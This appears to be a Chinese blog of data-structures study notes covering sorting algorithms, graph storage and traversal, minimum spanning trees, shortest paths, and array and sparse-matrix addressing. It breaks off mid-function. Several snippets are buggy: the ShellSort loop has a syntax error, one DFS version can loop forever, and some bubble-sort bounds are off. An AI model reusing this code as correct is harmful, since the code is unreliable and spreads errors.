不说永远珍惜现在

排序

2026-02-26T16:42:14.000Z

# 一、顺序表存储

	const int defaultSize=100;
	template<class T>
	class SeqList
	{
	protected:
	T *data;// 存放数组
	int maxSize;// 最大可容纳表项的项数
	int last;// 数组中最后一个元素的下标

	public:
	SeqList(int sz=defaultSize);// 构造函数
	int Size() const
	{
	return maxSize;// 求表最大容量
	}
	int Length() const
	{
	return last+1;// 计算表长度
	}
	int Search(T &x) const;// 搜索 x 在表中位置，函数返回表项序号
	//......
	void InsertSort();// 直接插入排序算法
	void Binary_InsertSort();// 折半插入排序算法
	void ShellSort();// 希尔排序算法
	void BubbleSort();// 冒泡排序算法
	void DoubleBubble();// 双向冒泡算法
	int QuickPass(int low,int high);// 一次快速排序
	void QuickSort(int low,int high);// 快速排序算法
	void SelectSort();// 直接排序算法
	void HeapSort();// 堆排序算法
	};

# 二、插入排序

# 1. 直接插入排序

最好情况下比较 $(n-1)$ 次，移动 $0$ 次，复杂度 $O(n)$ ；
最坏情况下比较 $\frac{n(n-1)}{2}$ 次，移动 $\frac{(n+4)(n-1)}{2}$ 次，复杂度 $O(n^2)$
平均情况 $O(n^2)$

稳定性：稳定

# 普通算法

	template<class T>
	void SeqList<T>::InsertSort()// 直接插入排序算法
	{
	int i,j;
	T x;
	for(i=2;i<=last;++i)// 依次将 data [2],...data [last] 插入序列中
	{
	x=data[i];// 暂存元素到 x 中
	j=i-1;
	while(x<data[j] && j>0)// 查找 x (即原 data [i]) 的插入位置
	{
	// 将序列中排序码大于 x 的记录往后移
	data[j+1]=data[j--];//data[j+1]=data[j]; j--;
	}
	data[j+1]=x;// 填入 data [i]
	}
	}

# 优化算法

	// 优化算法
	// 核心是把 data [0] 作为不存数据的岗哨和临时单元，从而省掉边界判断，提高效率。
	template<class T>
	void SeqList<T>::InsertSort()// 直接插入排序算法
	{
	int i,j;
	for(i=2;i<=last;++i)// 依次将 data [2],...data [last] 插入序列中
	{
	data[0]=data[i];//data [0] 作为岗哨和暂存单元
	j=i-1;
	while(data[0]<data[j])// 查找原 data [i] 的插入位置
	{
	// 将序列中排序码大于 x 的记录往后移
	data[j+1]=data[j--];//data[j+1]=data[j]; j--;
	}
	data[j+1]=data[0];// 填入 data [i]
	}
	}

# 2. 折半插入排序

比较 $O(n \log n)$ 次，移动 $O(n^2)$ 次，时间复杂度 $O(n^2)$
平均情况 $O(n^2)$

稳定性：稳定

	template<class T>
	void SeqList<T>::Binary_InsertSort()// 折半插入排序
	{
	int i,j;
	for(i=2;i<=last;++i)// 依次将 data [2],...data [last] 插入序列中
	{
	data[0]=data[i];//data [0] 作为暂存单元
	int low=1;//low 作为折半查找的上界
	int high=i-1;//high 作为折半查找的下界
	while(low<=high)// 用折半方法查找 data [i] 的插入位置
	{
	int mid=(low+high)/2;// 下取整
	if(data[0]<data[mid])
	{
	high=mid-1;
	}
	else// 如果遇到两个数相同，则插在后面，可保证稳定性
	{
	low=mid+1;
	}
	}
	for(j=i-1;j>=low;j--)
	{
	data[j+1]=data[j];// 把序列中排序码大于 data [i] 的记录后移
	}
	//high 最终指向的是：「最后一个比插入元素大的元素的前一个位置」
	//low 最终指向的是：「第一个大于插入元素的位置」，这正是插入点应该在的位置。
	data[low]=data[0];// 把暂存在 data [0] 的 data [i] 填入相应的位置中
	}
	}

# 3. 希尔排序

平均情况 $O(n^{1.3})$

稳定性：不稳定

	template<class T>
	void SeqList<T>::ShellSort()// 希尔排序算法
	{
	int i,j,k;
	k=last/2;// 增量值
	while(k>=1)// 直到增量值为 1 为止
	{
	for(i=k+1,i<=last,++i)
	{
	data[0]=data[i];//data [0] 作为岗哨和暂存单元
	j=i-k;// 同一组的前一个位置
	while(data[0]<data[j] && j>0)
	{
	data[j+k]=data[j];
	j=j-k;
	}
	data[j+k]=data[0];
	}
	k=k/2;
	}
	}

# 三、交换排序

# 1. 冒泡排序

最好情况下比较 $(n-1)$ 次，移动 $0$ 次，复杂度 $O(n)$ ；
最坏情况下比较 $\frac{n(n-1)}{2}$ 次，移动 $\frac{3n(n-1)}{2}$ 次，复杂度 $O(n^2)$
平均情况 $O(n^2)$

稳定性：稳定

# 普通算法

	template<class T>
	void SeqList<T>::BubbleSort()// 冒泡排序算法
	{
	int i,j;
	for(i=1;i<last;++i)
	{
	for(j=1;j<last-i;++j)
	{
	if(data[j]>data[j+1])//data [j] 与 data [j+1] 不符合排序要求则交换
	{
	data[0]=data[j];// 进行交换，data [0] 作为记录交换的暂存单元
	data[j]=data[j+1];
	data[j+1]=data[0];
	}
	}
	}
	}

# 改进算法

	template<class T>
	void SeqList<T>::BubbleSort()// 改进算法
	{
	int i=0;
	int j;
	int flag=1;// 设置交换标志，0 表示无交换，1 表示有交换
	while(flag==1)
	{
	flag=0;
	i++;
	for(j=1;j<last-i;++j)
	{
	if(data[j]>data[j+1])//data [j] 与 data [j+1] 不符合排序要求则交换
	{
	flag=1;// 有交换存在
	data[0]=data[j];// 进行交换。data [0] 作为记录交换的暂存单元
	data[j]=data[j+1];
	data[j+1]=data[0];
	}
	}
	}
	}

# 2. 双向冒泡算法

	template<class T>
	void SeqList<T>::DoubleBubble()
	{
	int flag=1;// 需要继续排序时为 1，已排序好不需继续排序时为 0
	int i=0;
	int j;
	while(flag==1)
	{
	flag=0;
	for(j=i+1;j<last-i;++j)// 正向冒泡找最大值
	{
	if(data[j]>data[j+1])
	{
	flag=1;// 能交换时，说明未排好序，需继续
	data[0]=data[j];
	data[j]=data[j+1];
	data[j+1]=data[0];
	}
	}
	for(j=last-i-1;j>i+1;j--)// 反向冒泡找最小值
	{
	if(data[j]<data[j-1])
	{
	flag=1;// 能交换时，说明未排好序，需继续
	data[0]=data[j];
	data[j]=data[j-1];
	data[j-1]=data[0];
	}
	}
	i++;
	}
	}

# 3. 快速排序

最好情况下时间复杂度 $O(n \log n)$ ，空间复杂度 $O(\log n)$ ；
最坏情况下时间复杂度 $O(n^2)$ ，空间复杂度 $O(n)$ ；
平均情况下时间复杂度 $O(n \log n)$ ，空间复杂度 $O(\log n)$

稳定性：不稳定

	template<class T>
	int SeqList<T>::QuickPass(int low,int high)// 一次快速排序
	{
	// 对子序列 data [low] 到 data [high] 做一趟的快速排序
	int down=low;// 分别对位置指示器作初始化
	int up=high;
	data[0]=data[low];// 把基准记录暂存在 data [0]
	while(down<up)
	{
	while((down<up)&&(data[up]>=data[0]))// 从右向左扫描
	{
	up--;
	}
	if(down<up)// 在被腾出来的单元中填入 data [up]
	{
	data[down++]=data[up];
	}
	while((down<up)&&data[down]<=data[0])
	{
	down++;
	}
	if(down<up)// 在被腾出来的单元中填入 data [down]
	{
	data[up--]=data[down];
	}
	}
	data[down]=data[0];// 在正确位置上填入基准记录
	return down;// 返回当前填入基准记录的所在位置
	}

	template<class T>
	void SeqList<T>::QuickSort(int low,int high)// 快速排序算法
	{
	int mid;//mid 为一趟快速排序后，基准
	if(low<high)// 当序列中的记录个数为 1 个或无记录时无需排序
	{
	mid=QuickPass(low,high);// 对序列 data [low] 到 data [high] 做一趟快速排序
	QuickSort(low,mid-1);// 对左半部分递归处理
	QuickSort(mid+1,high);// 对右半部分递归处理
	}
	}

# 四、选择排序

最好情况下比较 $\frac{n(n-1)}{2}$ 次，移动 $0$ 次，复杂度 $O(n^2)$ ；
最坏情况下比较 $\frac{n(n-1)}{2}$ 次，移动 $3(n-1)$ 次，复杂度 $O(n^2)$
平均情况 $O(n^2)$

稳定性：不稳定

# 1. 直接选择排序

# 普通算法

	template<class T>
	void SeqList<T>::SelectSort()// 直接选择排序普通算法
	{
	int i,j,pos;
	for(i=1;i<last;++i)// 共做 n-1 趟选择排序
	{
	pos=i;// 记录当前排序码最小值的记录所在位置
	for(j=i+1;j<=last;++j)
	{
	if(data[j]<data[pos])
	{
	pos=j;
	}
	}
	data[0]=data[i];//data [0] 作为交换的暂存单元
	data[i]=data[pos];
	data[pos]=data[0];
	}
	}

# 优化算法

	template<class T>
	void SeqList<T>::SelectSort()// 直接选择排序优化算法
	{
	int i,j,pos;
	for(i=1;i<last;++i)// 共做 n-1 趟选择排序
	{
	pos=i;// 记录当前排序码最小值的记录所在位置
	for(j=i+1;j<=last;++j)
	{
	if(data[j]<data[pos])
	{
	pos=j;
	}
	}
	if(pos!=i)// 只有当最小值不在当前位置时才交换
	{
	data[0]=data[i];//data [0] 作为交换的暂存单元
	data[i]=data[pos];
	data[pos]=data[0];
	}
	}
	}

# 2. 锦标赛排序

# 3. 堆排序

最好最坏情况下均比较 $O(n \log n)$ 次，移动 $O(n \log n)$ 次，时间复杂度 $O(n \log n)$ ；

稳定性：不稳定

	#define DefaultSize 10
	template<class T>
	class MinHeap// 最小堆的类定义
	{
	T *heap;// 指向存放堆元素的数组
	int CurrentSize;// 当前堆中元素个数
	int MaxHeapSize;// 堆的最大容量

	public:
	MinHeap(int sz=DefaultSize);// 构造函数初始化堆
	MinHeap(T arr[],int n);
	~MinHeap()// 析构函数
	{
	delete []heap;
	}
	const MinHeap<T> &operator=(const MinHeap &R);
	bool Insert(const T &x);
	bool Remove(const T &x);
	bool IsFull() const
	{
	return CurrentSize==MaxHeapSize;
	}

	private:
	void siftDown(int start,int m);// 向下调整
	void siftUp(int start);// 向上调整
	};

	template<class T>
	void SeqList<T>::HeapSort()// 堆排序算法
	{
	int i;
	T x;
	MinHeap<T> MyHeap;
	for(i=1;i<=last;++i)// 把待排序元素插入堆中
	{
	MyHeap.Insert(data[i]);
	}
	i=1;
	while(!MyHeap.IsEmpty())// 堆非空
	{
	MyHeap.Remove(x);// 从堆中删除根结点
	data[i]=x;
	i++;
	}
	}

# 五、归并排序

# 1. 二路归并

空间复杂度 $O(n)$ ，时间复杂度 $O(n \log n)$ ；

稳定性：稳定

# 六、分配排序

# 1. 桶排序

	void SeqList<T>::Bucket_Sort(LinkNode *B[])// 桶排序
	{
	int i;
	for(i=1;i<=last;++i)
	{
	// 用尾插入的方法将待排序记录分别装入相应的桶中
	B[data[i]].InsertTail(data[i]);
	}
	for(i=1;i<key;++i)
	{
	// 将所有的桶首尾相连
	B[i].tail=B[i+1].head;
	}
	}

# 2. 基数排序

时间复杂度 $O(n)$

稳定性：稳定

# 七、总结

图

2026-02-26T16:26:28.000Z

图
1.1 图的抽象数据类型
1.2 图的模版基类
邻接矩阵（相邻矩阵）
2.1 类定义
2.2 构造函数
邻接表
3.1 类定义
3.2 构造函数
3.3 析构函数
3.4 建立算法
图的遍历
4.1 深度优先遍历算法 (DFS)
4.2 广度优先遍历算法 (BFS)
四叉特征数
5.1 存储结构
5.2 前序遍历算法 (深度优先遍历)
5.3 层次遍历算法 (广度优先遍历)
迷宫问题
6.1 深度优先遍历
6.2 广度优先遍历
最小生成树
7.1 克鲁斯卡尔算法 (Kruskal 算法)
7.2 普里姆算法 (Prim 算法)
7.3 迪杰斯特拉算法 (dijkstra 算法)
拓扑排序

# 一、图

# 1. 图的抽象数据类型

	// 图的抽象数据类型
	template<class T>
	class Graph
	{
	// 对象：由一个顶点的非空集合和一条边集合构成
	// 每条边由一个顶点来表示
	public:
	Graph();// 建立一个空的图
	void insertVertex(const T &vertex);// 插入一个顶点 vertex，该顶点暂时没有入边
	void insertEdge(int v1,int v2,int weight);// 在图中插入一条边 (v1,v2,w)
	void removeVertex(int v);// 在图中删除顶点 V 和所有关联到它的边
	void removeEdge(int v1,int v2);// 在图中删去边 (v1,v2)
	bool IsEmpty();// 若图中没有顶点，则返回 true，否则返回 false
	T getWeight(int v1,int v2);// 函数返回边 (v1,v2) 的权值
	int getFirstNeighbor(int v);// 给出顶点 V 第一个邻接顶点的位置
	int getNextNeighbor(int v,int w);// 给出顶点 v 的某邻接顶点 w 的下一个邻接顶点
	};

# 2. 图的模版基类

	const int maxWeight=0x3f3f3f3f;// 无穷大的值
	const int DefaultVertices=30;// 最大顶点数
	template<class T,class E>
	class Graph
	{
	protected:
	int maxVertices;// 图中最大顶点数
	int numEdges;// 当前边数
	int numVertices;// 当前顶点数
	int getVertexPos(T vertex);// 给出顶点 vertex 在图中的位置

	public:
	Graph(int sz=DefaultVertices);// 构造函数
	~Graph();
	bool GraphEmpty() const// 判图空否
	{
	return numEdges==0;
	}
	int NumberOfVertices()// 返回当前顶点数
	{
	return numVertices;
	}
	int NumberOfEdges()// 返回当前边数
	{
	return numEdges;
	}
	virtual T getValue(int i);// 取顶点 i 的值
	virtual E getWeight(int v1,int v2);// 取边上权值
	virtual int getFirstNeighbor(int v);// 取顶点 V 的第一个邻接顶点
	virtual int getNextNeighbor(int v,int w);// 取邻接顶点 W 的下一邻接顶点
	virtual bool insertVertex(const T vertex);// 插入到一个顶点 vertex
	virtual bool insertEdge(int v1,int v2,E cost);// 插入边 (v1,v2)，权为 cost
	virtual bool removeVertex(int v);// 删去顶点 V 和所有与其相关联边
	virtual bool removeEdge(int v1,int v2);// 在图中删去边 (v1,v2)
	};

# 二、邻接矩阵（相邻矩阵）

# 1. 类定义

	template<class T,class E>
	class Graphmtx:public Graph<T,E>
	{
	friend istream &operator>>(istream &in,Graphmtx<T,E> &G);// 输入
	friend ostream &operator<<(ostream &out,Graphmtx<T,E> &G);// 输出

	private:
	T *VerticesList;// 顶点表
	E **Edge;// 邻接矩阵
	int getVertexPos(T vertex)// 查找某个顶点的位置
	{
	for(int i=0;i<numVertices;i++)
	{
	if(VerticesList[i]==vertex)
	{
	return i;
	}
	}
	return -1;
	}

	public:
	Graphmtx(int sz=DefaultVertices);// 构造函数
	~Graphmtx()// 析构函数
	{
	for(int i=0;i<numVertices;i++)
	{
	delete [] Edge[i];// 逐行释放内存
	}

	delete []VerticesList;
	delete []Edge;
	}
	T getValue(int i)
	{
	return (i>=0 && i<=numVertices ? VerticesList[i] : NULL);
	}
	E getWeight(int v1,int v2)// 取边 (v1,v2) 上权值
	{
	return v1!=-1 && v2 !=-1 ? Edge[v1][v2] : 0;
	}
	int getFirstNeighbor(int v);// 取顶点 V 的第一个邻接顶点
	int getNextNeighbor(int v,int w);// 取邻接顶点 W 的下一邻接顶点
	bool insertVertex(const T vertex);// 插入到一个顶点 vertex
	bool insertEdge(int v1,int v2,E cost);// 插入边 (v1,v2)，权为 cost
	bool removeVertex(int v);// 删去顶点 V 和所有与其相关联边
	bool removeEdge(int v1,int v2);// 在图中删去边 (v1,v2)
	};

# 2. 构造函数

	template<class T,class E>
	Graphmtx<T,E>::Graphmtx(int sz)// 构造函数
	{
	maxVertices=sz;// 最大能放多少个顶点
	numVertices=0;// 当前顶点个数
	numEdges=0;// 当前边个数
	int i,j;
	VerticesList=new T[maxVertices];// 创建顶点表
	Edge=(E*)new E [maxVertices];
	for(i=0;i<maxVertices;++i)// 开一个 maxVertices*maxVertices 大小的数组
	{
	Edge[i]=new int[maxVertices];
	for(j=0;j<maxVertices;++j)
	{
	Edge[i][j]=(i==j)?0:maxWeight;// 对角线设为 0，其余设为无穷大
	}
	}
	}

# 三、邻接表

# 1. 类定义

	// 链表的结点结构类
	template<class T,class E>
	struct Edge// 边结点的定义
	{
	int dest;// 边的另一顶点位置这条边指向哪个顶点（下标）
	E cost;// 边上的权值
	Edge<T,E> *link;// 下一条边链指针
	Edge(){}// 构造函数
	Edge(int num,E weight):dest(num),cost(weight),link(NULL){}
	bool operator!=(Edge<T,E> &R) const
	{
	return dest!=R.dest;// 判边等否
	}
	};

	// 顺序表结点结构类
	template<class T,class E>
	struct Vertex// 顶点的定义
	{
	T data;// 顶点的名字
	Edge<T,E> *adj;// 边链表的头指针
	};

	// 邻接表类
	template<class T,class E>
	class Graphlnk : public Graph<T,E>
	{
	friend istream &operator>>(istream &in,Graphlnk<T,E> &G);// 输入
	friend ostream &operator<<(ostream &out,Graphlnk<T,E> &G);// 输出

	private:
	Vertex<T,E> *NodeTable;// 顶点表
	int getVertexPos(const T vertx)
	{
	for(int i=0;i<numVertices;++i)
	{
	if(NodeTable[i].data==vertx)
	{
	return i;
	}
	}
	return -1;
	}

	public:
	Graphlnk(int sz=DefaultVertices);// 构造函数
	~Graphlnk();// 析构函数
	T getValue(int i)// 取顶点 i 的值
	{
	return(i>=0 && i<numVertices)? NodeTable[i].data:0;
	}
	E getWeight(int v1,int v2);// 取边 (v1,v2) 权值
	bool insertVertex(const T &vertex);// 插入顶点
	bool removevertex(int v);// 删除顶点
	bool insertEdge(int v1,int v2,E cost);// 插入边
	bool removeEdge(int v1,int v2);// 删除边
	int getFirstNeighbor(int v);// 获取 v 的第一个邻接点
	int getNextNeighbor(int i,int w);// 获取 w 后的邻接点
	void CreateNodeTable();// 建立邻接表结构
	};

# 2. 构造函数

	template<class T,class E>
	Graphlnk<T,E>::Graphlnk(int sz)// 构造函数
	{
	maxVertices=sz;
	numVertices=0;
	numEdges=0;
	NodeTable=new Vertex<T,E>[maxVertices];// 创建顶点表数组
	if(NodeTable==NULL)
	{
	cerr <<"存储分配错！" <<endl;
	exit(1);
	}
	for(int i=0;i<maxVertices;++i)
	{
	NodeTable[i].adj=NULL;
	}
	}

# 3. 析构函数

	template<class T,class E>
	Graphlnk<T,E>::~Graphlnk()// 析构函数
	{
	for(int i=0;i<numVertices;++i)
	{
	Edge<T,E> *p=NodeTable[i].adj;
	while(p!=NULL)
	{
	NodeTable[i].adj=p->link;
	delete p;
	p=NodeTable[i].adj;
	}
	}
	delete []NodeTable;// 删除顶点表数组
	}

# 4. 建立算法

	template<class T,class E>
	void Graphlnk<T,E>::CreateNodeTable()// 建立邻接表结构
	{
	//n：顶点个数 i：当前处理第几个顶点
	//m：某个顶点的邻接点数量 p：指向边结点的指针（邻接表里的链表结点）
	int n,i,j,m;
	Edge<T,E> *p;
	cin >>n;// 结点个数
	for(i=1;i<=n;++i)
	{
	NodeTable[i].adj=0;// 预设为空链
	cin >>NodeTable[i].data;// 输入结点值
	cin >>m;// 每个结点的邻接点个数
	for(j=0;j<m;++j)
	{
	p=new Edge<T,E>;// 生成一个新结点
	cin >>p->dest;// 建立边结点，输入结点值到 dest 域
	cin >>p->cost;// 带权图则多加一个权值的输入
	p->link=NodeTable[i].adj;
	NodeTable[i].adj=p;// 头插入建链
	}
	}

# 四、图的遍历

# 1. 深度优先遍历算法 (DFS)

	// 深度优先遍历算法
	void Graphlnk<T,E>::DFS(int v)// 私有函数
	{
	// 从顶点 v 出发，深度优先遍历连通图 G
	visited[v]=true;// 1. 标记当前点 v 已访问
	cout <<NodeTable[v].data;// 2. 输出这个顶点
	p=NodeTable[v].adj; //p 指向 v 的第一个邻接边（链表头）
	while(p!=NULL)// 找出邻接点逐个进行递归调用
	{
	if(!visited[p->dest])// 3. 如果这个邻接点没有访问过
	{
	DFS(p->dest);// 4. 递归访问它
	p=p->link;// 5. 查看下一个邻接点
	}
	}
	}

	bool *visited;// 成员属性，，辅助数组
	int numVertices;// 成员属性，结点个数
	visited=new bool[n];// 加入到 Graplnk 构造函数中
	cin >>numVertices;
	void Graphlnk<T,E>::dfs()
	{
	int i,v0;
	for(i=0;i<numVertices;++i)
	{
	visited[i]=false;// 初始化 visited 数组
	}
	cin >>v0;// 输入深度优先遍历的出发点
	dfs(v0);// 调用深度优先的递归函数
	}

# 2. 广度优先遍历算法 (BFS)

	template<class T, class E>
	void Graphlnk<T,E>::BFS()
	{
	queue<int> qu;
	int v;
	cin >> v; // 输入起点
	// 初始化 visited
	for(int i = 0; i < numVertices; ++i)
	visited[i] = false;

	// 起点入队
	qu.push(v);// 起点入队，并标记为已访问
	visited[v] = true;
	while(!qu.empty())// 队列不空就继续处理
	{
	int cur = qu.front();// 取队头元素（当前访问的节点）
	qu.pop();
	cout << NodeTable[cur].data;
	Edge<T,E>* p = NodeTable[cur].adj;//p 指向当前节点 cur 的邻接链表的头（第一个邻接点）
	// 遍历邻接点
	while(p != NULL)// 遍历邻接链表中所有邻接点
	{
	if(!visited[p->dest])// 若该邻接点未访问过
	{
	visited[p->dest] = true;// 标记已访问（避免重复入队）
	qu.push(p->dest);
	}
	p = p->link;
	}
	}
	}

# 五、四叉特征数

# 1. 存储结构

	// 存储结构
	struct treenode
	{
	int data;
	struct treenode *child[4];
	};

# 2. 前序遍历算法 (深度优先遍历)

	// 前序遍历算法
	void DFS(node *root)
	{
	if (root == NULL) return;
	cout << root->data << " ";
	for (int i = 0; i < 4; i++)
	{
	DFS(root->child[i]);
	}
	}

	// 前序遍历算法 (深度优先遍历)
	void DFS(struct node *root)
	{
	if (root == NULL)
	{
	return;
	}
	cout << root->data << " ";
	int i = 0;
	while (i < 4)
	{
	DFS(root->child[i]);
	i++;
	}
	}

# 3. 层次遍历算法 (广度优先遍历)

	// 层次遍历算法
	void BFS(struct treenode *root)
	{
	if(!root)
	{
	return;
	}
	queue<treenode *> qu;
	qu.push(root);
	while(!qu.empty())
	{
	treenode *temp = qu.front();
	qu.pop();
	cout << temp->data << " ";
	for(int i = 0; i < 4; ++i)
	{
	if(temp->child[i] != NULL)
	{
	qu.push(temp->child[i]);
	}
	}
	}
	}

# 六、迷宫问题

# 1. 深度优先遍历

	int MazePath(int x, int y)
	{
	int loop;
	Maze[x][y] = -1; // 标志入口位置已到达过
	for(loop = 0; loop < 8; loop++) // 探索当前位置的 8 个相邻位置
	{
	x = x + move[loop].x; // 计算新位置 x
	y = y + move[loop].y; // 计算新位置 y

	if((x == m) && (y == n)) // 如果到达出口
	{
	PrintPath(); // 输出路径
	Restore(Maze); // 恢复迷宫
	return 1; // 找到路径
	}

	if(Maze[x][y] == 0) // 新位置可以通过
	{
	..........// 保存该点坐标（用于以后打印路径）
	MazePath(x, y);
	}
	}
	return 0; // 所有方向都试完了，仍没找到，返回失败
	}

# 2. 广度优先遍历

	int maze[m+2][n+2];

	struct DataType {
	int x, y, pre;
	};

	int MazePath() {
	queue<DataType> q; // II 定义一个容量为 m*n 的队列
	DataType Temp1, Temp2; // DataType { int x, int y , int pre; };
	int x, y, loop;
	Temp1.x = 1;
	Temp1.y = 1;
	Temp1.pre = -1;
	maze[1][1] = -1; // Il 标志入口位置已到达过
	q.push(Temp1); // II 将入口位置入列
	while (!q.empty()) // II 队列非空，则反复探索
	{
	Temp2 = q.front();
	q.pop(); // I / 队头元素出列

	for (loop = 0; loop < 8; loop++) // ⅡI 探索当前位置的 8 个相邻位置
	{
	x = Temp2.x + move[loop].x; // II 计算出新位置 x 位置值
	y = Temp2.y + move[loop].y; // !l 计算出新位置 x 位置值
	if ((x == m) && (y == n)) // I/ 成功到达出口
	{
	PrintPath(q); // II 输出路径该函数请自行完成
	Restore(maze); // II 恢复迷宫 i 该函数请自行完成
	return (1); // I / 表示成功找到路径
	}
	if (maze[x][y] == 0) // II 新位置是否可到达
	{
	Temp1.x = x;
	Temp1.y = y;
	// Temp1.pre = q.front; // 设置到达新位置的前趋位置
	maze[x][y] = -1; // I / 标志该位置已到达过
	q.push(Temp1); //// 新位置入列
	}
	}
	}
	return (0); // ⅡI 表示查找失败，即迷宫无路径
	} // MazePath

# 七、最小生成树

# 1. 克鲁斯卡尔算法 (Kruskal 算法)

通过小根堆选最小边 + 并查集判断是否成环，构建最小生成树

	// 初始化操作
	// 图中所有边的数据（结点，结点，权）插入堆中。
	for (u = 0; u < n; u++) // 图采用邻接矩阵
	{
	for (v = u + 1; v < n; v++)
	{
	if (Edge[u][v] < maxWeight)
	{
	ed.tail = u;
	ed.head = v;
	ed.cost = Edge[u][v];

	// 插入堆
	H.Insert(ed);
	}
	}
	}
	count = 1; // 最小生成树边数计数

	while (count < n) // 反复执行，取 n-1 条边
	{
	H.Remove(ed); // 从堆中取权值最小的边
	// 检查该边的两个顶点是否在同一集合中
	// 查找出该两顶点所在集合的根 u 与 v — 并查集
	u = F.Find(ed.tail);
	v = F.Find(ed.head);
	if (u != v) // 不是同一集合，不连通
	{
	F.Union(u, v); // 集合合并，连通它们 — 并查集
	MST.Insert(ed); // 将该边放入生成树 MST 中
	//cout << ed.tail << ed.head << ed.cost; // 输出边（如需要）
	count++;
	}
	}

# 2. 普里姆算法 (Prim 算法)

	template <class T, class E>
	struct MSTEdgeNode // 树边结点的类定义
	{
	int head; // 未加入生成树的结点编号
	int tail; // 已加入生成树的结点编号
	E cost; // 权值
	// 这里应该还有 < 重载
	};

	MinHeap<MSTEdgeNode<T, E>> H(m); // 最小堆

	Edge[u][u] = true; //u 加入生成树
	count = 1; // 记录已加入生成树的边数
	while (count < n)
	{
	// 逐个查看 v 是否在生成树中
	for (v = 0; v < n; v++)
	{
	if ((Edge[v][v] == 0) && Edge[u][v] < maxWeight)
	{
	ed.tail = u;
	ed.head = v;
	ed.cost = Edge[u][v];
	// (u, v, w) 加入堆
	H.Insert(ed);
	}
	}

	while (!H.IsEmpty() && count < n)
	{
	H.Remove(ed); // 从堆中删除最小权的边
	// 是否符合选择要求
	if (Edge[ed.head][ed.head] == 0)
	{
	MST.Insert(ed); // 将该边加入最小生成树
	//cout <<ed.tail <<ed.head <<ed.cost; // 输出边（如需要）
	u = ed.head;
	Edge[u][u] = true; //u 加入生成树
	count++;
	break;
	}
	}
	}

# 3. 迪杰斯特拉算法 (dijkstra 算法)

	//v0 为起点
	for (i = 0; i < n; i++) //n 表示结点个数
	{
	dist[i] = G[v0][i]; // 初始化 dist 数组：dist [i]= 起点 v0 到 i 的距离
	}
	G[v0][v0] = 1; // 将 v0 加入 “已访问集合”

	for (i = 0; i < n - 1; i++) // 共需确定 n-1 个结点
	{
	// 找到尚未访问、dist 最小的结点
	min = 32767;
	for (k = 0; k < n; k++)
	{
	if (G[k][k] == 0 && dist[k] < min)
	{
	pos = k;
	min = dist[k];
	}
	}
	G[pos][pos] = 1; // 将 pos 加入 “已访问集合”
	// 用新加入的结点 pos 来更新 dist []
	for (j = 0; j < n; j++)
	{
	if (G[j][j] == 0 && G[pos][j] + min < dist[j])
	{
	dist[j] = G[pos][j] + min;
	}
	}
	}

# 八、拓扑排序

基于入度的拓扑排序：
找入度 0 → 入栈 → 出栈输出 → 消除出边 → 新的入度 0 入栈
若最终未处理完所有节点，则图有环。

	1. 在 count 数组中找出入度为零的顶点，并分别入栈;
	2. while(栈非空)
	{
	出栈到 v;
	cout << NodeTable[v].data;
	++m;
	p = NodeTable[v].adj;
	while (p != NULL)
	{
	count[p->dest]--; //v → p->dest，去掉这条边，入度减 1
	如果 count[p->dest] == 0 则把它入栈
	p = p->link; // 链到下一个邻接点
	}
	}
	3. if (m < n)
	{
	cout << "图中有回路"
	}

数组、串与广义表

2026-02-26T15:53:46.000Z

# 一、数组

# 1. 一维数组（向量）

求一维数组中第 i 个元素的起始地址

序号为i的元素起始地址=序号为1的元素起始地址 + (i-1) *每个元素所需的空间

# 2. 二维数组（矩阵）

求二维数组 Amn 中第 i 行 j 列元素的起始地址

LOC(A[i][j]) = LOC(A[0][0]) + i × n + j

也是 起始地址+前面的元素个数*每个元素所需空间

# 3. 三维数组

三维数组元素 A[i][j][k] 的起始地址公式：

LOC(A[i][j][k]) = LOC(A[0][0][0]) + i × (d2 × d3) + j × d3 + k

# 二、特殊矩阵

# 1. 对称矩阵

# 2. 三角矩阵

# 下三角存储（含主对角线）

① 情况划分

若 i ≥ j ：元素直接存储
若 i < j ：用 A[j][i] 代替

② 地址计算公式

第 i 行前面共有：

1 + 2 + … + (i − 1) = (i − 1)i / 2

因此：

	LOC(A[i][j]) = LOC(A)
	+ (i − 1)i / 2
	+ (j − 1)

# 上三角存储（含主对角线）

① 情况划分

若 i ≤ j ：元素直接存储
若 i > j ：用 A[j][i] 代替

② 地址计算公式

前面完整行的元素个数为：

	n + (n − 1) + … + (n − i + 2)
	= (i − 1)(2n − i + 2) / 2

因此：

	LOC(A[i][j]) = LOC(A)
	+ (i − 1)(2n − i + 2) / 2
	+ (j − i)

# 3. 稀疏矩阵

# 顺序存储类定义

	// 稀疏矩阵顺序存储类定义
	struct RCV
	{
	int row,col;//row 行号 col 列号
	float value;// 矩阵中非零元素的值
	};

	class SMatrix
	{
	private:
	RCV *item;// 指向 RCV 类型数组的指针，用于存储稀疏矩阵的所有非零元素
	int r,c,num;//r 矩阵总行数 c 矩阵总列数 num 矩阵中非零元素个数

	public:
	SMatrix()
	{
	item=NULL;
	r=0;
	c=0;
	num=0;
	}
	SMatrix(RCV a[],int n,int row,int col);//a [] 是一个三元组
	SMatrix tran();// 普通转置算法
	SMatrix tran1();// 改进后的转置算法
	SMatrix plus(SMatrix &b);
	SMatrix mult(SMatrix &b);
	void prnt();
	};

# 构造函数

	// 设置三元组表 a、长度 n 及行数 row、列数 col 四个参数
	// 创建的三元组表由参数 a、n 确定，而行数、列数分别由参数 row、col 确定。
	// 功能：按指定的参数分配存储空间并设置数据成员的初值。
	SMatrix::SMatrix(RCV a[],int n,int row,int col)// 构造函数
	{
	r=row;
	c=col;
	num=n;
	item=new RCV[num];
	for(int i=0;i<num;++i)
	{
	item[i]=a[i];
	}
	}

# 稀疏矩阵的转置算法

稀疏矩阵转置的本质

1️⃣ 数学上的转置

普通矩阵转置规则：

A[i][j] → Aᵀ[j][i]

2️⃣ 稀疏矩阵怎么转置？

由于我们只存非零元素：

每个三元组的 row 和 col 交换即可

	(row, col, value)
	→
	(col, row, value)

⚠️ 数学上已经是转置了，但不规范

稀疏矩阵的默认约定通常要求：

按 row 升序排列
row 相同 → 按 col 升序

这样：

方便输出
方便查找
方便后续运算（加法、乘法）

# 普通转置算法

	// 稀疏矩阵的转置操作
	/*
	功能：返回当前矩阵对象的转置矩阵，按以下过程处理：
	(1) 创建一个稀疏矩阵 ×，形成 x 的 r,C,num，并按指定的长度分配存储空间。
	(2) 按当前矩阵的列 (即 × 的行) 进行循环处理：对当前矩阵的每一列扫描一次三元组，
	找出相应的元素，交换其行号与列号并添加到转置矩阵 × 的三元组表中。
	(3) 返回结果矩阵 x。
	*/
	SMatrix SMatrix::tran()
	{
	SMatrix x;
